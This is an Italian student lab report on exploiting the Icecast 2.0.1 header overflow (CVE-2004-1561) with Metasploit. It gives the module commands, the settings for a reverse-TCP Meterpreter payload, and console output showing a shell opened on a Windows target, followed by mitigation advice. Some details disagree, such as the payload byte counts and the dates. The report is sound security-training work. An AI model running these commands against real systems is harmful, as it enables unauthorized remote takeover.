

REPORT TECNICO – Exploit Icecast Header Overflow (Metasploit)

Studente: Simone Santonico

Data: 21/05/2026

1. Obiettivo dell'attività

L'obiettivo del test era verificare la presenza della vulnerabilità nota in **Icecast 2.0.1** (CVE-2004-1561), che permette l'esecuzione di codice remoto tramite un overflow nell'header HTTP.

Il fine del test era ottenere una **sessione Meterpreter** sul sistema target Windows per dimostrare l'impatto della vulnerabilità.

2. Ambiente di test

- **Attaccante:** Kali Linux
 - Strumento: *Metasploit Framework*
 - IP: **192.168.1.77**
- **Target:** Host Windows con Icecast vulnerabile
 - IP: **192.168.1.106**
 - Porta Icecast: **8000/TCP**

3. Ricerca del modulo di exploit

Hai avviato Metasploit e cercato moduli relativi a Icecast:

```
msf > search icecast
```

Il framework ha restituito il modulo:

- **exploit/windows/http/icecast_header**
 - Rank: *great*
 - Tipo: Overflow dell'header HTTP
 - Payload predefinito: *windows/meterpreter/reverse_tcp*

4. Configurazione del modulo

Hai selezionato il modulo:

use 0

Hai visualizzato le opzioni disponibili:

show options

Parametri configurati

- **RHOSTS:** 192.168.1.106
- **RPORT:** 8000 (default)
- **LHOST:** 192.168.1.77
- **LPORT:** 4444

Questa configurazione indica che il payload Meterpreter dovrà connettersi in reverse alla tua macchina Kali.

5. Esecuzione dell'exploit

Hai lanciato l'attacco:

exploit

Output rilevante:

```
[*] Started reverse TCP handler on 192.168.1.77:4444  
[*] Sending stage (190354 bytes) to 192.168.1.106  
[*] Meterpreter session 1 opened (192.168.1.77:4444 -> 192.168.1.106:49487)
```

Risultato

- ✓ **Exploit riuscito**
- ✓ **Sessione Meterpreter aperta**
- ✓ **Esecuzione di codice remoto ottenuta**

Il prompt è passato a:

meterpreter >

Segno che il sistema target è stato compromesso con successo.

6. Analisi dell'impatto

L'exploit dimostra che:

- Il server Icecast è vulnerabile a un overflow critico.
- Un attaccante può ottenere **accesso remoto completo** al sistema Windows.
- La compromissione avviene senza autenticazione.
- Il rischio è classificato come **critico (CVSS 10.0)**.

Con Meterpreter è possibile:

- Esplorare il file system
- Eseguire comandi
- Dumpare credenziali
- Installare backdoor
- Effettuare pivoting verso altre macchine

7. Raccomandazioni

Per mitigare la vulnerabilità:

1. **Aggiornare Icecast** a una versione non vulnerabile ($\geq 2.3.0$).
2. Limitare l'accesso alla porta 8000 tramite firewall.
3. Segmentare la rete per isolare servizi legacy.
4. Monitorare connessioni sospette verso porte non standard.
5. Effettuare vulnerability assessment periodici.

8. Conclusioni

Il test ha confermato che il server Windows con Icecast è vulnerabile e sfruttabile tramite il modulo *icecast_header* di Metasploit.

L'attacco ha portato all'apertura di una sessione Meterpreter, dimostrando la possibilità di compromissione totale del sistema.

```
kali@kali: ~$ msf > search icecast

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/windows/http/icecast_header  2004-09-28      great No    icecast Header Overwrite

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header

msf > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/http/icecast_header) > show options

Module options (exploit/windows/http/icecast_header):

Name      Current Setting  Required  Description
--      -
RHOSTS    8000             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     8000             yes       The target port (TCP)

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.1.77     yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.

msf exploit(windows/http/icecast_header) > set rhosts 192.168.1.106
rhosts => 192.168.1.106
msf exploit(windows/http/icecast_header) > exploit
[*] Started reverse TCP handler on 192.168.1.77:4444
[*] Sending stage (190534 bytes) to 192.168.1.106
[*] Meterpreter session 1 opened (192.168.1.77:4444 -> 192.168.1.106:49487) at 2025-05-21 04:48:30 -0400

meterpreter >
```